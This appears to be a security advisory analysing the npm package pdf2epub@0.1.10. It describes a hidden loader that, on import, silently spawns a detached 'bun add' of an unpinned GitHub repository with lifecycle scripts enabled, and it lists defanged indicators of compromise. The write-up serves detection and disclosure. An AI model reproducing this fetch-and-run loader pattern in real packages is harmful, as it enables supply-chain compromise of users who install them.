pdf2epub@0.1.10

Analysis

pdf2epub@0.1.10 is a PDF-to-EPUB converter that carries a hidden second-stage loader. Its main entry point (pdf2epub.js, also the package's `bin`) imports ./lab/setups.mjs and calls scheduleDemoInstall() at module load, so the behaviour runs on any `import 'pdf2epub'` or CLI invocation — not via an npm lifecycle hook, and it is not mentioned in the README. On first run per machine (marker file ~/.cache/pdf2epub/demo-installed; opt-out via PDF2EPUB_SKIP_DEMO=1) the loader: - locates the bun runtime with `execSync("command -v bun")`; - creates a temp directory containing a package.json with `trustedDependencies: ["bun-install-helloworld-demo"]`, which explicitly enables lifecycle scripts of the fetched repository; - spawns a detached, unref'd child with stdio ignored and the full parent environment: `bun add hxxps://github[.]com/daltsubnet/bun-install-helloworld-demo[.]git`. The fetched repository is referenced by mutable HEAD with no commit SHA pin, so the code that gets installed and executed can be changed at any time after publication; the npm package itself is only the delivery mechanism. The detached child outlives the importing process and produces no console output. Observed network IOC: HTTPS GET to api[.]github[.]com for /repos/daltsubnet/bun-install-helloworld-demo/tarball/ (User-Agent Bun/1.3.13). IOCs: - hxxps://github[.]com/daltsubnet/bun-install-helloworld-demo - api[.]github[.]com/repos/daltsubnet/bun-install-helloworld-demo/tarball/ - ~/.cache/pdf2epub/demo-installed (once-per-machine marker) - env var PDF2EPUB_SKIP_DEMO (disables the loader)